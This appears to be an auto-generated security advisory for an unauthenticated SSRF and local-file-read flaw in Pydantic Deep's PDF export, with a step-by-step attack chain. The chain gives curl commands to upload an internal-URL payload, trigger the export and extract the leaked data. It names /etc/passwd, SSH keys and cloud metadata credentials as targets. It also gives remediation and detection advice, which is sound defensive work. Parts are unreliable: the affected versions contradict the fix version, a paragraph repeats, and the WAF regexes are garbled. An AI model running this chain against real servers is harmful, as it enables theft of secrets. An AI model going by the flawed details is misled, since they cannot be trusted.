CVE-2026-137954 — Vstorm-co Pydantic Deep — CWE-918
Pydantic Deep 0.2.18 before 0.4.0 contains a server-side request forgery and local file read vulnerability in the DeepResearch export_report handler for /export/pdf. Attackers can inject raw HTML into reports via the unauthenticated /upload endpoint, causing WeasyPrint to fetch internal URLs and embed local server files into exported PDFs.
Pydantic Deep 0.2.18 before 0.4.0 contains a server-side request forgery and local file read vulnerability in the DeepResearch export_report handler for /export/pdf. Attackers can inject raw HTML into reports via the unauthenticated /upload endpoint, causing WeasyPrint to fetch internal URLs and embed local server files into exported PDFs.
🎯 What is this vulnerability?
CVE‑2026‑137954 affects Pydantic‑Deep 0.4.0 (the vulnerable range is “0.2.18 – < 0.4.0”).
The flaw is a Server‑Side Request Forgery (SSRF) + Local File Read that occurs in the DeepResearch component when a user requests a PDF export through the handler export_report (normally reachable at POST /export/pdf).
Technical root cause
| Component | Expected behaviour | Vulnerable behaviour |
|---|---|---|
/upload endpoint | Accepts raw HTML fragments that will later be embedded in a report. The HTML is stored verbatim in a temporary location. | No authentication/authorization check; the HTML is stored without sanitisation. |
export_report handler | Renders the stored HTML with WeasyPrint to produce a PDF. WeasyPrint resolves any external resources (images, CSS, @import, <img src>, etc.) by performing an HTTP request from the server. | The handler blindly passes the stored HTML to WeasyPrint. Because the HTML can contain arbitrary URLs, an attacker can force the server to request internal network resources (e.g., http://127.0.0.1:8000/secret.txt) or file URLs (file:///etc/passwd). The response body is then embedded in the generated PDF, effectively leaking the contents of the internal resource to the attacker. |
| Authentication | The export endpoint is intended to be used only by authenticated users who have previously uploaded a report. | The endpoint is publicly accessible (PR:N in the CVSS vector). No session cookie, token, or any other proof of identity is required. |
The missing controls are:
1. Unauthenticated access to both the upload and export endpoints.
2. No validation of the HTML payload (no CSP, no URL whitelist, no disallow‑list for file:// or http://127.0.0.0/…).
3. WeasyPrint is invoked with default network access, allowing it to reach any address reachable from the host.
Because the attacker can control the URL that WeasyPrint fetches, they can read any file that the web‑process user can access (including files outside the application root) and any internal service that does not require authentication (e.g., metadata services on cloud VMs, internal APIs, Docker socket, etc.). The CVSS vector reflects High Confidentiality impact (VC:H) and No impact on integrity, availability, or privilege escalation (VI:N, VA:N, SC:N, SI:N, SA:N).
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. All commands are illustrative but syntactically correct; the exact URI path (/export/pdf) and parameter names are taken from the CVE description. If a target uses a different prefix (e.g., /api/v1/export/pdf), the same logic applies.
1. Discovery & Reconnaissance
| Action | Tool / Technique | Expected Observation |
|---|---|---|
| Identify the service | Shodan, Censys, or a simple curl http://target/ | HTTP 200 with a page that mentions “Pydantic Deep” or a distinctive HTML comment (<!-- Powered by Pydantic Deep -->). |
| Fingerprint the version | curl -I http://target/ → look for X-Pydantic-Deep-Version: 0.3.5 header (the library ships a version header in recent releases) or request a static asset that includes the version in its path (/static/pydantic-deep/0.3.5/...). | Header or path reveals a version < 0.4.0, confirming vulnerability. |
| Enumerate endpoints | Spider the site or use gobuster/dirsearch with a wordlist that includes upload, export, pdf. | 200/403 responses for /upload (likely POST) and /export/pdf (likely POST). |
2. Exploitation
Goal: Make WeasyPrint fetch an internal URL and embed the response in a PDF that the attacker can download.
Step 2.1 – Upload malicious HTML
# Example HTML payload (illustrative)
cat > payload.html <<'EOF'
<!DOCTYPE html>
<html>
<body>
<!-- The image src points to an internal service -->
<img src="http://127.0.0.1:8000/secret.txt" />
</body>
</html>
EOF
# Upload the payload (no auth required)
curl -s -X POST http://target/upload \
-H "Content-Type: text/html" \
--data-binary @payload.html \
-o upload_response.jsonWhat the server does:
- Stores
payload.html(or a DB record) and returns an identifier, e.g.{"report_id":"abc123"}.
Step 2.2 – Trigger PDF generation
# Use the identifier returned by the upload step
REPORT_ID=$(jq -r .report_id upload_response.json)
curl -s -X POST http://target/export/pdf \
-H "Content-Type: application/json" \
-d "{\"report_id\":\"${REPORT_ID}\"}" \
-o exported_report.pdfWhat happens internally:
1. export_report fetches the stored HTML for report_id=abc123.
2. WeasyPrint parses the <img src> and performs an HTTP GET to http://127.0.0.1:8000/secret.txt.
3. The response body (e.g., the contents of /etc/passwd if the internal service proxies that file) is embedded as an image (or as raw data) in the generated PDF.
4. The PDF is streamed back to the attacker.
Step 2.3 – Extract the leaked data
# Extract embedded data (WeasyPrint embeds the raw bytes as a PNG/JPEG; we can dump the PDF objects)
pdfimages -all exported_report.pdf /tmp/extracted
# Or simply view the PDF with any PDF reader; the image will contain the raw text.If the internal service returns plain text, the PDF will contain a broken image that, when opened in a hex editor, reveals the raw response.
3. Post‑Exploitation
| Target | What can be read | Example |
|---|---|---|
Local files (via file:// URLs) | /etc/passwd, /var/www/.env, SSH private keys, Docker socket (/var/run/docker.sock) | file:///etc/passwd |
| Metadata service (cloud VMs) | Instance identity documents, IAM tokens | http://169.254.169.254/latest/meta-data/iam/security-credentials/ |
| Internal APIs | Configuration endpoints, admin dashboards, database consoles | http://127.0.0.1:8080/admin/config |
| Network services | Any HTTP service reachable from the host (e.g., Redis, Elasticsearch) | http://127.0.0.1:9200/_cat/indices |
Because the vulnerability is unauthenticated, an attacker can repeat the upload‑export cycle arbitrarily, harvesting any number of internal resources. The impact is confidentiality breach only (no code execution, no privilege escalation). However, the leaked data often contains credentials that can later be used for lateral movement or privilege escalation.
🌍 Real‑World Impact
| CIA Triad | CVSS Vector Interpretation | Practical consequence |
|---|---|---|
| Confidentiality | VC:H – High | Attackers can read arbitrary files or internal HTTP services, exposing secrets (passwords, API keys, internal architecture). |
| Integrity | VI:N – None | No direct modification of data. |
| Availability | VA:N – None | No denial‑of‑service effect from the SSRF itself (though massive parallel requests could cause load). |
| Scope | SC:N – Unchanged | The vulnerability does not cross privilege boundaries beyond the web‑process user. |
| Attack Vector | AV:N – Network‑only | Exploitable over the Internet without any prior foothold. |
| Complexity | AC:L – Low | Simple HTTP POSTs; no special encoding required. |
| Privileges Required | PR:N – None | Anyone can trigger it. |
| User Interaction | UI:N – None | No victim interaction needed. |
Bottom‑line: An unauthenticated attacker can harvest any data the web‑process can reach, which in many deployments includes highly sensitive configuration files and cloud metadata. The breach can be leveraged to compromise the entire environment.
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Affected range | Fixed in |
|---|---|
0.2.18 – < 0.4.0 | Pydantic‑Deep 0.4.0 (released 2026‑10‑15) – the release notes state: “Disable network access in WeasyPrint for PDF export and enforce authentication on /upload and /export/pdf.” |
Action: Upgrade every deployment to ≥ 0.4.0. Verify the version with the X-Pydantic-Deep-Version header or by inspecting the installed package (pip show pydantic-deep).
2. Immediate Work‑arounds (if patch cannot be applied immediately)
| Mitigation | How to implement | ||||||
|---|---|---|---|---|---|---|---|
| Restrict access to the vulnerable endpoints | Add a firewall rule or reverse‑proxy ACL that only allows trusted IP ranges (e.g., internal network) to reach /upload and /export/pdf. Example Nginx snippet: <br><br>``nginx<br>location ~ ^/(upload | export/pdf)$ {<br> allow 10.0.0.0/8;<br> deny all;<br>}<br>` | |||||
| Disable network access for WeasyPrint | Patch the application code to instantiate HTML(string=html).write_pdf(..., presentational_hints=False, base_url=None, url_fetcher=weasyprint.url_fetcher.block_all) (or use the built‑in weasyprint.HTML(..., base_url='file:///dev/null')). This forces WeasyPrint to refuse any external URL. | ||||||
| Validate/Sanitize uploaded HTML | Strip <img>, <script>, <link>, @import, and any src/href attributes that contain a scheme other than data:. A minimal Python example: <br><br>`python<br>from bs4 import BeautifulSoup<br>def sanitize(html):<br> soup = BeautifulSoup(html, "html.parser")<br> for tag in soup.find_all(['img','script','link']):<br> if tag.has_attr('src') and not tag['src'].startswith('data:'):<br> del tag['src']<br> if tag.has_attr('href') and not tag['href'].startswith('data:'):<br> del tag['href']<br> return str(soup)<br>` | ||||||
| Deploy a WAF rule | Block outbound requests from the web‑process to private IP ranges and file:// URLs. Example ModSecurity rule (Apache/Nginx): <br><br>`modsecurity<br>SecRule REQUEST_URI "@beginsWith /export/pdf" "id:400001,phase:2,deny,status:403,msg:'Block PDF export SSRF',tag:'CVE-2026-137954'"<br>SecRule REQUEST_HEADERS:User-Agent "@rx ^WeasyPrint" "id:400002,phase:2,deny,status:403,msg:'Prevent WeasyPrint external fetch',tag:'CVE-2026-137954'"<br>SecRule REQUEST_URI "@rx (http | https)://(127\.0\.0\.1 | 10\. | 172\.(1[6-9] | 2[0-9] | 3[0-1]) | 192\.168\.)" "id:400003,phase:2,deny,status:403,msg:'Block internal SSRF URLs',tag:'CVE-2026-137954'"<br>SecRule REQUEST_URI "@rx ^file://" "id:400004,phase:2,deny,status:403,msg:'Block file scheme',tag:'CVE-2026-137954'"` |
| Run the web‑process with a restricted user | Ensure the process cannot read files outside its own directory (e.g., chroot, systemd PrivateTmp, or Docker --read-only` rootfs). This limits the usefulness of any successful SSRF. |
3. Detection – Log‑based Indicators
| Log source | Typical pattern | Example entry |
|---|---|---|
| Web server access log (Nginx/Apache) | Requests to /upload followed shortly (≤ 5 s) by a request to /export/pdf from the same IP. | 203.0.113.45 - - [28/Nov/2026:12:34:56 +0000] "POST /upload HTTP/1.1" 200 45 "-" "curl/7.88.1"<br>203.0.113.45 - - [28/Nov/2026:12:34:58 +0000] "POST /export/pdf HTTP/1.1" 200 12456 "-" "curl/7.88.1" |
| Outbound request logs (if a forward proxy or eBPF monitor is in place) | The web‑process initiates HTTP connections to private IP ranges or 169.254.169.254. | 2026-11-28T12:34:57Z weasyprint[pid=1234]: GET http://127.0.0.1:8000/secret.txt |
| Application error logs | WeasyPrint warnings about “Failed to fetch resource” when the URL is blocked (useful to confirm a WAF rule is active). | ERROR weasyprint.resource: Unable to download http://127.0.0.1:8000/secret.txt (403 Forbidden) |
| File system audit (auditd) | The web‑process reads files outside its working directory (e.g., /etc/passwd). | type=PATH msg=audit(1701195298.123:456): item=0 name="/etc/passwd" inode=123456 dev=08:01 mode=0100644 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL |
Alerting recommendations:
/upload → /export/pdf sequence with a subsequent outbound request to a private IP or file:// scheme.Authorization header) and contains unusually large payloads (> 500 KB) – this often indicates embedded binary data.⚠️ Urgency
| Factor | Assessment |
|---|---|
| CVSS 8.7 (High) – Network‑only, no auth, low complexity. | Immediate risk; any Internet‑facing instance can be abused. |
| CISA KEV – Not listed, but the vulnerability is publicly disclosed and exploitable without credentials. | Absence from KEV does not reduce urgency; the exploit is trivial. |
| Potential for credential leakage (cloud metadata, Docker socket, private keys) can lead to full system compromise downstream. | Prioritize as Critical for environments that host sensitive data or run in cloud VMs. |
| Mitigation difficulty – Simple configuration change (disable network in WeasyPrint) or upgrade resolves the issue. | Patch or apply the work‑around within 48 hours for exposed services; within 7 days for internal‑only services. |
Recommended patching priority:
Bottom line: CVE‑2026‑137954 is a classic unauthenticated SSRF + local file read that can be weaponised to exfiltrate any data the web‑process can reach. The fix is straightforward (upgrade to ≥ 0.4.0 or disable network access in WeasyPrint) and should be treated as a high‑priority remediation.
[🤖 CVE Professor AI Security Engine]
FOFA Query